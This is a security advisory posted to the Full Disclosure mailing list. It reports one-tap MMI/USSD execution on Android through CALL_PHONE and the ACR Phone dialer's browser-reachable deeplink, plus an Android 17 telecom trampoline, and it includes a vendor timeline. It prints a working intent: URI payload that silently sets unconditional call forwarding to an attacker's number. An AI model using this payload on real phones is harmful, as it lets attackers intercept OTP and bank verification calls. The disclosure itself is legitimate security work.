Full Disclosure mailing list archives
1-click MMI/USSD execution in Android via CALL_PHONE and browser-reachable dialer deeplinks (ACR Phone / com.nll.cb)
From: Karan Saini <karan () marionette in>
Date: Fri, 9 Oct 2026 18:21:37 +0200
Android's CALL_PHONE permission, shown to users as "make and manage phone calls", also authorises execution of carrier MMI/USSD codes against the SIM. The permission text does not mention this, no confirmation is shown before execution -- a transient "USSD code running" dialog appears only afterwards -- and MMI execution writes no call log entry. Where a CALL_PHONE-holding app also exposes a browser-reachable deeplink into an auto-dial path, the capability becomes remotely triggerable with a single tap. Demonstrated against ACR Phone / Cube ACR (com.nll.cb, 5M+ installs), which declares an intent filter carrying action CALL_BUTTON, category BROWSABLE and a tel: scheme, resolving to an activity that dials rather than pre-fills. Chrome's intent: URI syntax lets a page nominate an arbitrary action, and Chrome's only check is that the resolved filter declares BROWSABLE, so the string executes under ACR's own CALL_PHONE grant rather than any grant held by the browser. No chooser appears (ACR is the sole handler) and no confirmation is requested. The terminating hash must be percent-encoded as %23 -- a literal # parses, but is lost further down the dial path, and the remainder is placed as an ordinary call. intent:*21*5550000000%23#Intent;scheme=tel;action=android.intent.action.CALL_BUTTON;end One tap registers unconditional call forwarding to the attacker's number. Incoming calls -- including voice-delivered OTPs and bank verification callbacks -- are then delivered to the attacker. Registration is held in the carrier network rather than on the handset, so it survives reboot, uninstalling the app and a factory reset, and persists until cancelled. Clear with ##21#, interrogate with *#21#. Both *21*<n>%23 and **21*<n>%23 register. Preconditions for the demonstration: ACR must hold CALL_PHONE and the DIALER role. Both are the ordinary state for a dialer replacement, but neither is automatic. The role matters twice over -- ACR's own DialerActivity.a0() redirects to setup without it, and Android 14 added a platform check that refuses dangerous MMI codes from a non-default dialer, which ACR being the default dialer satisfies. Of 88 call, dialer and VoIP apps scanned at the manifest level, 66 declared CALL_PHONE and 54 exposed some browser-reachable dial surface; most pre-fill rather than dial, so whether any given one is exploitable turns on its own deeplink handling, while the platform grants the underlying capability to all of them uniformly. A related Android 17 change removes the need for a vulnerable third-party app altogether. Telecom moved into the com.android.telephonycore mainline module and its UI into a separate privileged application; com.android.server.telecom is now a shim whose UserCallActivity re-starts the intent against com.google.android.telecomui, which calls TelecomManager.placeCall() as itself. The launching package is not carried across. placeCall() binds the caller to the binder UID, and telecomui holds CALL_PRIVILEGED, so the dangerous-MMI check -- which still runs on every call -- is evaluated against telecomui and passes. A plain **21*<number># sent via ACTION_CALL by an app holding only CALL_PHONE, with no dialer role, is therefore dispatched as an MMI code. Reported separately; confirmed on an emulator only. Tested on: Samsung Galaxy M16 5G, Android 16 (One UI 8.5), build BP4A.251205.006.M166PXXS7DZG1, security patch level 5 July 2026, against a live Airtel India network (single-asterisk form). Reproduced on Android 14 (API 34) and Android 17 (API 37, patch 2026-07-05) emulators, double-asterisk form against the simulated network. Vendor status: Google closed the platform report as Won't Fix (Infeasible), assessing it as insecure deeplink handling in third-party dialers rather than an Android vulnerability. The Android 17 trampoline report was closed as a duplicate of an earlier internal report. The ACR Phone developer responded within 48 minutes and committed a fix to the next release; the Play release is pending Google's review. Timeline: 12 Sep 2026 - Reported to the Android & Google Devices VRP 14 Sep 2026 - Android 17 retest added; TelecomUi trampoline reported separately 17 Sep 2026 - Platform report closed Won't Fix (Infeasible) 24 Sep 2026 - Trampoline report closed as duplicate of an internal Google report 25 Sep 2026 - Request to be added to that report declined 09 Oct 2026 - Reported to the ACR Phone developer; acknowledged, fix committed 09 Oct 2026 - Public disclosure Full write-up: https://karansaini.com/mmi-android/ Sincerely, Karan Saini _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Current thread:
- 1-click MMI/USSD execution in Android via CALL_PHONE and browser-reachable dialer deeplinks (ACR Phone / com.nll.cb) Karan Saini (Oct 15)
